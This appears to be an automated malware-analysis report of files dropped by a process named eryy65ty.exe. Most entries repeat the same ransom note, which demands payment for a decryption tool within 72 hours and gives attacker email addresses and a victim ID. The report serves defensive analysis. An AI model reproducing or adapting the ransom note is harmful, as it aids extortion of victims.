                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1226
                                                                                                                                        Entropy (8bit):7.819193544155403
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:amtXxtD4yjjcobpg/Rv9SmsGTIhWS1cYy8kTxELw59V0wjkoS:ashtD48jco+5vY3JkTiw5rFS
                                                                                                                                        MD5:199999A8447F67CBD182F840B1AB21D8
                                                                                                                                        SHA1:3D3A23649591A18D14631EC13346C2B7DE450BC7
                                                                                                                                        SHA-256:3BEF3D423C8EC210C0723CF87DDAFC36670C539EEEA5840303B9E48892394B12
                                                                                                                                        SHA-512:E814DE0221F72E033DAB2256AAA6F6D37E24F2294D6ECC078B420C65722A5325CE032F0A384676E5325AC8C503D72EFFD102A4F339AD03C916149E481F0F9C6F
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.3.%..x.\S....].y&...A.$.~q.v..Q....]..........z.o.he2...n..b.5.7T..=.[...>.S0.-..m..z...I.q.%T.e.8....4~.#hO\.3........D....P.........).B...F../.VP....sH.(.WA@..........';...j...<."..&{^....,..*.....{.0..IV/..V.TC.CX.5M:4m'b..i..0\.bx..#}.R..f...b..i..0....A...G..Y......N......^.........5......I+.p.....T..3),O.2).n...|bR...%.d=-S.az../..Pwz,*.....Qy..O.%..9._.n.D....`.N9..^S.'[k..Yy5......f"..P .(.V..q.2.1R..T..tY...O..L...eoE..JF.[<.*..;.n%..{.........p....+. .d....3\].x..H.2...6"?..}Q.-..f_....%Xq....l...d$^.'...........<../.dya.3@...9.e..-....mP.CF2.3s..z...D.!uL.5./A.....j..+..P#P.L.K..o.J...D..$...`y.T\.m....w.b..h..+{.....%O.?...]..K!.<M..j.Rg.>.m/..Z..r.7.0..l..E7....-...H!.;..(...A.{.KR...>..;.w1Fw.>S...2.0.....%.:d.qht..B{.,G:...R....R.g.u...{*x&.Y.?!rh.h...O..Ih.n.^......=....+..:..|3.Q.,+R......(.jg...k.2R.3.X1?..ay.GPaD&_..!.=..._B...%[_.S&.H1.....w.V....{.....P......^.L.,.6.....5.?!..d...(o'..K......]...+8.5.R...v.b.H....W
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1226
                                                                                                                                        Entropy (8bit):7.819193544155403
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:amtXxtD4yjjcobpg/Rv9SmsGTIhWS1cYy8kTxELw59V0wjkoS:ashtD48jco+5vY3JkTiw5rFS
                                                                                                                                        MD5:199999A8447F67CBD182F840B1AB21D8
                                                                                                                                        SHA1:3D3A23649591A18D14631EC13346C2B7DE450BC7
                                                                                                                                        SHA-256:3BEF3D423C8EC210C0723CF87DDAFC36670C539EEEA5840303B9E48892394B12
                                                                                                                                        SHA-512:E814DE0221F72E033DAB2256AAA6F6D37E24F2294D6ECC078B420C65722A5325CE032F0A384676E5325AC8C503D72EFFD102A4F339AD03C916149E481F0F9C6F
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.3.%..x.\S....].y&...A.$.~q.v..Q....]..........z.o.he2...n..b.5.7T..=.[...>.S0.-..m..z...I.q.%T.e.8....4~.#hO\.3........D....P.........).B...F../.VP....sH.(.WA@..........';...j...<."..&{^....,..*.....{.0..IV/..V.TC.CX.5M:4m'b..i..0\.bx..#}.R..f...b..i..0....A...G..Y......N......^.........5......I+.p.....T..3),O.2).n...|bR...%.d=-S.az../..Pwz,*.....Qy..O.%..9._.n.D....`.N9..^S.'[k..Yy5......f"..P .(.V..q.2.1R..T..tY...O..L...eoE..JF.[<.*..;.n%..{.........p....+. .d....3\].x..H.2...6"?..}Q.-..f_....%Xq....l...d$^.'...........<../.dya.3@...9.e..-....mP.CF2.3s..z...D.!uL.5./A.....j..+..P#P.L.K..o.J...D..$...`y.T\.m....w.b..h..+{.....%O.?...]..K!.<M..j.Rg.>.m/..Z..r.7.0..l..E7....-...H!.;..(...A.{.KR...>..;.w1Fw.>S...2.0.....%.:d.qht..B{.,G:...R....R.g.u...{*x&.Y.?!rh.h...O..Ih.n.^......=....+..:..|3.Q.,+R......(.jg...k.2R.3.X1?..ay.GPaD&_..!.=..._B...%[_.S&.H1.....w.V....{.....P......^.L.,.6.....5.?!..d...(o'..K......]...+8.5.R...v.b.H....W
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
